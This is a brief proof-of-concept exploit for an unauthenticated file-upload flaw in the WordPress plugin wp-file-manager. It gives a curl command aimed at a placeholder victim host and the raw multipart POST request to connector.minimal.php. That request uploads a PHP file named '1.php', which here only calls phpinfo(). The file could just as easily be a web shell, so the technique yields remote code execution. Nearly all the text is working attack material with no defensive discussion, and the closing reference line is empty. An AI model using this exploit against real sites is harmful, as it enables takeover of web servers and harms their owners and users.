[Proof Of Concept]
curl -ks --max-time 5 -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@/$file_upload" "hxxps://victim.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Content-Length: 631
Content-Type: multipart/form-data; boundary=------------------------9689147a5989a801
Connection: close
--------------------------9689147a5989a801
Content-Disposition: form-data; name="reqid"
17457a1fe6959
--------------------------9689147a5989a801
Content-Disposition: form-data; name="cmd"
upload
--------------------------9689147a5989a801
Content-Disposition: form-data; name="target"
l1_Lw
--------------------------9689147a5989a801
Content-Disposition: form-data; name="mtime[]"
1576045135
--------------------------9689147a5989a801
Content-Disposition: form-data; name="upload[]"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
--------------------------9689147a5989a801--
ref: